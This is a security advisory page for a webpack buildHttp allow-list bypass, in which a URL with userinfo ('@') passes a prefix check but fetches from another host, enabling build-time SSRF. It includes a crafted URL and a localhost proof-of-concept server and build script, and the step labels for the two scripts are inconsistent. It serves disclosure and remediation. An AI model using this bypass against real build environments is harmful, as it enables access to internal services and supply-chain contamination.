webpack buildHttp: allowedUris allow-list bypass via URL userinfo (@) leading to build-time SSRF behavior

説明

Summary

When experiments.buildHttp is enabled, webpack’s HTTP(S) resolver (HttpUriPlugin) can be bypassed to fetch resources from hosts outside allowedUris by using crafted URLs that include userinfo (username:password@host). If allowedUris enforcement relies on a raw string prefix check (e.g., uri.startsWith(allowed)), a URL that looks allow-listed can pass validation while the actual network request is sent to a different authority/host after URL parsing. This is a policy/allow-list bypass that enables build-time SSRF behavior (outbound requests from the build machine to internal-only endpoints, depending on network access) and untrusted content inclusion (the fetched response is treated as module source and bundled). In my reproduction, the internal response was also persisted in the buildHttp cache.

Reproduced on:
- webpack version: 5.104.0
- Node version: v18.19.1

Details

Root cause (high level): allowedUris validation can be performed on the raw URI string, while the actual request destination is determined later by parsing the URL (e.g., new URL(uri)), which interprets the authority as the part after @.

Example crafted URL:
- http://127.0.0.1:[email protected]:9100/secret.js

If the allow-list is ["http://127.0.0.1:9000"], then:
- Raw string check:
crafted.startsWith("http://127.0.0.1:9000")true
- URL parsing (WHAT new URL() will contact):
originhttp://127.0.0.1:9100 (host/port after @)

As a result, webpack fetches http://127.0.0.1:9100/secret.js even though allowedUris only included http://127.0.0.1:9000.

Evidence from reproduction:
- Server logs showed the internal-only endpoint being fetched:
- [internal] 200 /secret.js served (...) (observed multiple times)
- Attacker-side build output showed:
- the internal secret marker was present in the bundle
- the internal secret marker was present in the buildHttp cache

<img width="1651" height="381" alt="image-2" src="https://github.com/user-attachments/assets/8fd81b35-0d4f-424b-b60e-0a2582a8b492" />

PoC

This PoC is intentionally constrained to 127.0.0.1 (localhost-only “internal service”) to demonstrate SSRF behavior safely.

1) Setup

mkdir split-userinfo-poc &amp;&amp; cd split-userinfo-poc
npm init -y
npm i -D webpack webpack-cli

2) Create server.js

#!/usr/bin/env node
&quot;use strict&quot;;

const http = require(&quot;http&quot;);

const ALLOWED_PORT = 9000;   // allowlisted-looking host
const INTERNAL_PORT = 9100;  // actual target if bypass succeeds

const secret = `INTERNAL_ONLY_SECRET_${Math.random().toString(16).slice(2)}`;
const internalPayload =
  `// internal-only\n` +
  `export const secret = ${JSON.stringify(secret)};\n` +
  `export default &quot;ok&quot;;\n`;

function listen(port, handler) {
  return new Promise(resolve =&gt; {
    const s = http.createServer(handler);
    s.listen(port, &quot;127.0.0.1&quot;, () =&gt; resolve(s));
  });
}

(async () =&gt; {
  // &quot;Allowed&quot; host (should NOT be contacted if bypass works as intended)
  await listen(ALLOWED_PORT, (req, res) =&gt; {
    console.log(`[allowed-host] ${req.method} ${req.url} (should NOT be hit in userinfo bypass)`);
    res.statusCode = 200;
    res.setHeader(&quot;Content-Type&quot;, &quot;application/javascript; charset=utf-8&quot;);
    res.end(`export default &quot;ALLOWED_HOST_WAS_HIT_UNEXPECTEDLY&quot;;\n`);
  });

  // Internal-only service (SSRF-like target)
  await listen(INTERNAL_PORT, (req, res) =&gt; {
    if (req.url === &quot;/secret.js&quot;) {
      console.log(`[internal] 200 /secret.js served (secret=${secret})`);
      res.statusCode = 200;
      res.setHeader(&quot;Content-Type&quot;, &quot;application/javascript; charset=utf-8&quot;);
      res.end(internalPayload);
      return;
    }
    console.log(`[internal] 404 ${req.method} ${req.url}`);
    res.statusCode = 404;
    res.end(&quot;not found&quot;);
  });

  console.log(&quot;\nServers up:&quot;);
  console.log(`- allowed-host (should NOT be contacted): http://127.0.0.1:${ALLOWED_PORT}/`);
  console.log(`- internal target (should be contacted if vulnerable): http://127.0.0.1:${INTERNAL_PORT}/secret.js`);
})();

2) Create server.js

#!/usr/bin/env node
&quot;use strict&quot;;

const path = require(&quot;path&quot;);
const os = require(&quot;os&quot;);
const fs = require(&quot;fs/promises&quot;);
const webpack = require(&quot;webpack&quot;);

function fmtBool(b) { return b ? &quot;✅&quot; : &quot;❌&quot;; }

async function walk(dir) {
  const out = [];
  let items;
  try { items = await fs.readdir(dir, { withFileTypes: true }); }
  catch { return out; }
  for (const it of items) {
    const p = path.join(dir, it.name);
    if (it.isDirectory()) out.push(...await walk(p));
    else if (it.isFile()) out.push(p);
  }
  return out;
}

async function fileContains(f, needle) {
  try {
    const buf = await fs.readFile(f);
    const s1 = buf.toString(&quot;utf8&quot;);
    if (s1.includes(needle)) return true;
    const s2 = buf.toString(&quot;latin1&quot;);
    return s2.includes(needle);
  } catch {
    return false;
  }
}

(async () =&gt; {
  const webpackVersion = require(&quot;webpack/package.json&quot;).version;

  const ALLOWED_PORT = 9000;
  const INTERNAL_PORT = 9100;

  // NOTE: allowlist is intentionally specified without a trailing slash
  // to demonstrate the risk of raw string prefix checks.
  const allowedUri = `http://127.0.0.1:${ALLOWED_PORT}`;

  // Crafted URL using userinfo so that:
  // - The string begins with allowedUri
  // - The actual authority (host:port) after &#x27;@&#x27; is INTERNAL_PORT
  const crafted = `http://127.0.0.1:${ALLOWED_PORT}@127.0.0.1:${INTERNAL_PORT}/secret.js`;
  const parsed = new URL(crafted);

  const tmp = await fs.mkdtemp(path.join(os.tmpdir(), &quot;webpack-httpuri-userinfo-poc-&quot;));
  const srcDir = path.join(tmp, &quot;src&quot;);
  const distDir = path.join(tmp, &quot;dist&quot;);
  const cacheDir = path.join(tmp, &quot;.buildHttp-cache&quot;);
  const lockfile = path.join(tmp, &quot;webpack.lock&quot;);
  const bundlePath = path.join(distDir, &quot;bundle.js&quot;);

  await fs.mkdir(srcDir, { recursive: true });
  await fs.mkdir(distDir, { recursive: true });

  await fs.writeFile(
    path.join(srcDir, &quot;index.js&quot;),
    `import { secret } from ${JSON.stringify(crafted)};
console.log(&quot;LEAKED_SECRET:&quot;, secret);
export default secret;
`
  );

  const config = {
    context: tmp,
    mode: &quot;development&quot;,
    entry: &quot;./src/index.js&quot;,
    output: { path: distDir, filename: &quot;bundle.js&quot; },
    experiments: {
      buildHttp: {
        allowedUris: [allowedUri],
        cacheLocation: cacheDir,
        lockfileLocation: lockfile,
        upgrade: true
      }
    }
  };

  console.log(&quot;\n[ENV]&quot;);
  console.log(`- webpack version: ${webpackVersion}`);
  console.log(`- node version:    ${process.version}`);
  console.log(`- allowedUris:     ${JSON.stringify([allowedUri])}`);

  console.log(&quot;\n[CRAFTED URL]&quot;);
  console.log(`- import specifier: ${crafted}`);
  console.log(`- WHAT startsWith() sees: begins with &quot;${allowedUri}&quot; =&gt; ${fmtBool(crafted.startsWith(allowedUri))}`);
  console.log(`- WHAT URL() parses:`);
  console.log(`  - username: ${JSON.stringify(parsed.username)} (userinfo)`);
  console.log(`  - password: ${JSON.stringify(parsed.password)} (userinfo)`);
  console.log(`  - hostname: ${parsed.hostname}`);
  console.log(`  - port:     ${parsed.port}`);
  console.log(`  - origin:   ${parsed.origin}`);
  console.log(`  - NOTE: request goes to origin above (host/port after @), not to &quot;${allowedUri}&quot;`);

  const compiler = webpack(config);

  compiler.run(async (err, stats) =&gt; {
    try {
      if (err) throw err;
      const info = stats.toJson({ all: false, errors: true, warnings: true });

      if (stats.hasErrors()) {
        console.error(&quot;\n[WEBPACK ERRORS]&quot;);
        console.error(info.errors);
        process.exitCode = 1;
        return;
      }

      const bundle = await fs.readFile(bundlePath, &quot;utf8&quot;);
      const m = bundle.match(/INTERNAL_ONLY_SECRET_[0-9a-f]+/i);
      const foundSecret = m ? m[0] : null;

      console.log(&quot;\n[RESULT]&quot;);
      console.log(`- temp dir:  ${tmp}`);
      console.log(`- bundle:    ${bundlePath}`);
      console.log(`- lockfile:  ${lockfile}`);
      console.log(`- cacheDir:  ${cacheDir}`);

      console.log(&quot;\n[SECURITY CHECK]&quot;);
      console.log(`- bundle contains INTERNAL_ONLY_SECRET_* : ${fmtBool(!!foundSecret)}`);

      if (foundSecret) {
        const lockHit = await fileContains(lockfile, foundSecret);

        const cacheFiles = await walk(cacheDir);
        let cacheHit = false;
        for (const f of cacheFiles) {
          if (await fileContains(f, foundSecret)) { cacheHit = true; break; }
        }

        console.log(`- lockfile contains secret: ${fmtBool(lockHit)}`);
        console.log(`- cache contains secret:    ${fmtBool(cacheHit)}`);
      }
    } catch (e) {
      console.error(e);
      process.exitCode = 1;
    } finally {
      compiler.close(() =&gt; {});
    }
  });
})();

4) Run

Terminal A:

node server.js

Terminal B:

node attacker.js

5) Expected vs Actual

Expected: The import should be blocked because the effective request destination is http://127.0.0.1:9100/secret.js, which is outside allowedUris (only http://127.0.0.1:9000 is allow-listed).

Actual: The crafted URL passes the allow-list prefix validation, webpack fetches the internal-only resource on port 9100 (confirmed by server logs), and the secret marker appears in the bundle and buildHttp cache.

Impact

Vulnerability class: Policy/allow-list bypass leading to build-time SSRF behavior and untrusted content inclusion in build outputs.

Who is impacted: Projects that enable experiments.buildHttp and rely on allowedUris as a security boundary. If an attacker can influence the imported HTTP(S) specifier (e.g., via source contribution, dependency manipulation, or configuration), they can cause outbound requests from the build environment to endpoints outside the allow-list (including internal-only services, subject to network reachability). The fetched response can be treated as module source and included in build outputs and persisted in the buildHttp cache, increasing the risk of leakage or supply-chain contamination.

基本情報

タイプ
reviewed
深刻度
low
GitHub 上のアドバイザリ
アドバイザリを開く ↗
リポジトリのアドバイザリ
リポジトリのアドバイザリを開く ↗
ソースコード
ソースを見る ↗
公開(アドバイザリ)
2026-02-05 18:38:10 UTC
更新
2026-02-06 14:39:32 UTC
GitHub レビュー済み
2026-02-05 18:38:10 UTC
NVD で公開
2026-02-05

EPSS Score

Score Percentile
0.01% 1.36%

CVSS Scores

Base score Version Severity Vector
3.7 3.1
CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:N クリックして展開
攻撃ベクター (AV:N)
インターネットなど、ルーティングされたネットワーク越しに遠隔から悪用しうる。端末の前にいる必要はない。
攻撃の複雑さ (AC:H)
到達できても、タイミング・負荷・周辺設定など、揃わないと成功しない局面が多い。
必要な権限 (PR:L)
一般ユーザー権限があれば足り、管理者(root 相当)は不要。
ユーザーの関与 (UI:R)
インストールの許可、設定変更、悪意あるファイルの実行など、人の一度の判断がトリガーになる。
スコープ (S:U)
影響は脆弱コンポーネントと同一のセキュリティ権限・信頼境界の内側に収まる。
機密性への影響 (C:L)
一部のデータや属性が漏えいしうるが、全件一括流出といった規模には至らない。
完全性への影響 (I:L)
レコードの一部書き換えや設定の歪みなど、限定的だが検知・復旧が必要な水準。
可用性への影響 (A:N)
業務継続に支障が出るレベルの停止や劣化は想定されない。

Identifiers

CWEs

CWE id Name
CWE-918 Server-Side Request Forgery (SSRF)

Credits

  • HanJeouk (reporter)
  • alexander-akait (remediation_reviewer)

Affected packages (1)

Vulnerable version ranges and first patched releases as published by GitHub.

Ecosystem Package Vulnerable range First patched Vulnerable functions
npm webpack >= 5.49.0, <= 5.104.0 5.104.1

References

cvelogic Threat Intelligence